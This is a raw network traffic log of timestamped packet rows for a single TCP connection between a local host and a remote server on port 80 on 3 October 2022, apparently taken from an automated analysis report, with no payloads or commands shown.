Oct 3, 2022 17:30:07.604940891 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604944944 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.604988098 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604995966 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.605029106 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.605058908 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.605070114 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.605093002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.605115891 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.605130911 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.605159044 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.605175972 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.605201960 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.605214119 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.605251074 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.624644041 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.624727011 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.624787092 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.624840021 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.624852896 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.624898911 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.624900103 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.624952078 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.624991894 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625029087 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625030994 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.625068903 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.625068903 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625102043 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.625108957 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625142097 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.625148058 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625185966 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625221968 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.625222921 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625260115 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.625264883 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625303030 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625339985 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625376940 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625380993 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.625416994 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625416994 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.625456095 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625495911 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625534058 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625543118 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.625572920 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625580072 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.625612020 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625614882 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.625650883 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625685930 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.625689983 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625730038 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625730038 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.625767946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625803947 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625839949 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.625840902 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.625874996 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.625881910 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.626832008 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.626861095 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.626887083 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.626912117 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.626935005 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.626941919 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.626988888 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.632275105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.632349014 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.632415056 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.632466078 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.632493973 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.632519007 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.632533073 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.632564068 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.632569075 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.632616043 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.632663012 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.632663965 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.632711887 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.632760048 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.632764101 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.632812023 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.632855892 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.632858992 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.632908106 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.632956028 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.632956982 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.633004904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.633049011 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.633049965 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.633097887 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.633140087 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.633145094 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.633193970 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.633239985 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.633241892 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.633290052 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.633333921 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.633336067 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.633383989 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.633426905 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.633430958 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.633480072 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.633527994 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.633528948 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.633575916 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.633620024 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.633622885 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.633671045 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.633718967 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.633722067 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.633766890 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.633814096 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.633816004 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.633862972 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.633908033 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.633924007 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.633987904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.634032965 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.634037971 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.634084940 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.634128094 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.634131908 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.634181023 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.634224892 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.634227991 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.634277105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.634320974 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.634324074 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.634371042 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.634413958 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.634417057 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.634465933 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.634505987 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.634522915 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.634565115 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.634581089 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.634628057 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.634673119 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.634676933 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.634727001 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.634772062 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.634774923 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.634824991 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.634870052 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.634892941 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.634948969 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.634995937 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.634999990 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.635045052 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.635087013 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.635092020 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.635140896 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.635188103 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.635193110 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.635236025 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.635282040 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.635282993 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.635360003 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.635407925 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.635413885 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.635477066 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.635521889 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.635526896 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.635576963 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.635626078 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.635627985 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.635679007 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.635729074 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.635730982 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.635778904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.635819912 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.635828018 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.635876894 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.635921001 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.635924101 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.635976076 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.636018991 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.636022091 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.636071920 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.636111975 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.636117935 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.636166096 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.636209011 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.636209965 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.638581038 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.900384903 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.900707960 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:08.400373936 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:08.401614904 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:09.360388041 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:09.360474110 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:11.248495102 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:11.248575926 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:11.994225979 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:11.997946024 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.021727085 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.021764994 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.021780968 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.022310019 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.025108099 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.025139093 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.025167942 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.025190115 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.025209904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.025230885 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.025238037 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.025252104 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.025315046 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.025316000 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.025316000 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.049612045 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.049654007 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.049670935 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.049685001 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.049707890 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.049734116 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.049923897 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.049923897 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.052397013 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.052437067 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.052604914 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.052633047 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.052656889 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.052670956 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.052670956 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.052680969 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.052704096 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.052710056 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.052710056 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.052728891 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.052751064 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.052767038 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.052767038 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.052773952 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.052793026 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.052803040 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.052814960 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.052843094 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.052867889 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.052891016 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.052891016 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.052958965 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.052958965 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.077307940 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.077347994 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.077366114 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.077392101 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.077413082 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.077425957 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.077450991 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.077474117 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.077497005 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.077517986 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.077541113 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.077563047 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.077615023 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.077686071 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.077686071 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.079953909 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.079988956 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080007076 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080030918 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080060959 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080080032 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080091953 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080116987 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080137968 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080171108 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080193043 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080195904 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.080215931 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080240965 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080249071 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.080267906 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080288887 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080311060 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080328941 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.080328941 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.080332994 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080358982 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080380917 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080387115 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.080404997 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080409050 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.080429077 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080431938 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.080454111 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080456972 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.080478907 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080480099 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.080502033 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080504894 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.080527067 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080550909 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080573082 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080595016 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.080806971 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.080806971 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.080806971 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.080925941 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.105078936 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105123043 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105149984 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105170965 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105191946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105214119 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105233908 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105252028 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105264902 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105278969 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105304003 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105324984 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105345964 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105366945 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105389118 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105408907 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105426073 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105432034 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.105432034 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.105432034 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.105432987 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.105432987 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.105449915 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105474949 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105496883 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105520010 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105540037 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.105540991 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.105540991 CEST	49694	80	192.168.2.5	85.31.46.167
